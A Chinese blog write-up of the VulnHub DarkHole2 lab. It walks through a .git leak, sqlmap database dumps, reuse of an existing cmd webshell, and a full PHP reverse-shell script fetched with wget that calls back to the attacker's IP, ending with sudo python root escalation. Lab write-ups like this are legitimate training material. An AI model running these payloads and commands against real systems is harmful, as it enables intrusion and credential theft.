DarkHole2 vulnhub靶场

说是困难级别,其实不难的一个靶机
kali攻击机ip:192.168.181.129

主机发现

nmap -sP 192.168.181.0/24

在这里插入图片描述

端口扫描

 nmap -p 1-65535 -A 192.168.181.158

在这里插入图片描述

直接在端口扫描的时候就发现了.git泄露

在这里插入图片描述

使用scrabble将.git下载到本地(不是kali自带的,要下载mirrors / denny0223 / scrabble · GitCode

 ../scrabble http://192.168.181.158

在这里插入图片描述

在这里插入图片描述

cat config.php

发现了mysql的连接信息,没密码的

在这里插入图片描述

查看提交日志

git log

发现这位作者更新了login.php版本

在这里插入图片描述

查看更新版本和之前的版本间的差异

git diff a4d900a8d85e8938d3601f3cef113ee293028e10

发现他删去了一个用户的登录信息 lush@admin.com 321
并且添加了对email和password参数的转义,防止sql注入

在这里插入图片描述

用这个被除名的用户信息登录,原来是作者自己
这个url很有sql注入的感觉,sqlmap跑跑

在这里插入图片描述

sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o"

果然,id存在sql注入漏洞。这作者怎么只顾登录界面的sql漏洞呢,家都被偷了

在这里插入图片描述

爆数据库

 sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" --dbs

在这里插入图片描述

爆表

sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" -D darkhole_2 --tables

在这里插入图片描述

先爆ssh字段

 sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" -D darkhole_2 -T ssh --columns

在这里插入图片描述

爆出了一个用户密码

sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" -D darkhole_2 -T ssh -C user,pass --dump

在这里插入图片描述

jehad fool

再试试users

sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" -D darkhole_2 -T users --columns

在这里插入图片描述

sqlmap -u "http://192.168.181.158/dashboard.php?id=1" --level=5 --risk=3 --cookie="PHPSESSID=cc4ldptugjctf9kqc12s4ci61o" -D darkhole_2 -T users -C username,password --dump

没用,我们已经知道了
在这里插入图片描述

登录ssh

ssh jehad@192.168.181.158

在这里插入图片描述

密码在手,先查看suid命令

sudo -l  

一无所获

在这里插入图片描述

找找用户目录有啥好东西

losy目录下有个flag

在这里插入图片描述

DarkHole{‘This_is_the_life_man_better_than_a_cruise’}

ls -a

查看隐藏文件,这个.bash_history很吸引我,可惜看不了

在这里插入图片描述

losy的看不了,回去看看jehad目录有没有

(忽略这个shell.php,我忘记删了=_= )

在这里插入图片描述

出现了一大堆bash命令,这些短的我都试过了,没用,根本没有id_rsa

在这里插入图片描述

但是我发现了这个/opt/web,让我看看是个什么事

在这里插入图片描述

有个index.php,用来执行cmd指令的

看样子这个叫jehad的人心怀不轨啊,不过给我们留下了线索,是好事

在这里插入图片描述

还有这个目录,也去瞧瞧

在这里插入图片描述

单凭我浅薄的知识积累,我确实没完全看懂,可能是多长时间过去就执行什么指令吧(我猜的)

但是不要紧,我发现了关键的地方,最后两句,root开启了apache2的服务,losy在9999端口执行了刚刚我们发现的index.php脚本(看来这losy也不简单啊)

在这里插入图片描述

那就执行一下前辈留下的payload吧

curl "http://127.0.0.1:9999/?cmd=id"

在这里插入图片描述

使用参数cmd查出了losy的id

在这里插入图片描述

可以使用一下端口转发,在kali浏览器上访问url(其实不用也可以=_=,纯粹想搞点花里胡哨的)

ssh -L 9999:127.0.0.1:9999 jehad@192.168.181.158

意思是将127.0.0.1:9999映射到我们本地回环地址:9999上,使用192.168.181.158作为跳板,就可以在kali本地访问127.0.0.1:9999了

推荐一下我另外的一篇文章 😃,专门介绍端口转发的,有兴趣可以看看

SSH端口转发(ssh隧道)_川川小宝的博客-优快云博客

在这里插入图片描述

cmd也可以执行php文件,所以我们可以搞一个php反弹shell文件,cmd执行,就得到反弹shell了
我的祖传反弹shell

<?php /**/ error_reporting(0); $ip = '192.168.181.129'; $port = 6666; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

在这里插入图片描述

kali开启http服务

 python -m http.server 8888

在这里插入图片描述

进入一个可以写入的目录,/tmp就是最好的选择,上传php脚本

cd /tmp
wget "http://192.168.181.129:8888/shell.php"

在这里插入图片描述

msf开启监听

在这里插入图片描述

cmd运行php脚本命令:

php php文件

在kali浏览器里访问url

http://127.0.0.1:9999/?cmd=php%20%20%20/tmp/shell.php

立刻就连上了

在这里插入图片描述

弄一个回显 python3 -c 'import pty;pty.spawn("/bin/bash")'\;

刚刚查出来id是losy的,拿到的shell也理所当然是losy的

在这里插入图片描述

刚刚那个没有权限的.bash_history仍让我牵肠挂肚,所以第一时间查看

cat .bash_history

在这里插入图片描述

看啊看,要有耐心

这不,发现了密码,怎么losy也在搞提权这套

在这里插入图片描述

跟着losy前辈的步伐,我们走向了成功

sudo -l 
sudo python3 -c 'import pty;pty.spawn("/bin/bash")'\;

我的python代码和losy的有点点不一样,因为我喜欢标新立异=_=

在这里插入图片描述

又拿到一个flag

DarkHole{‘Legend’}
在这里插入图片描述

flag有没有找全我不知道,反正拿到root权限就算完事了
o了 😃

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值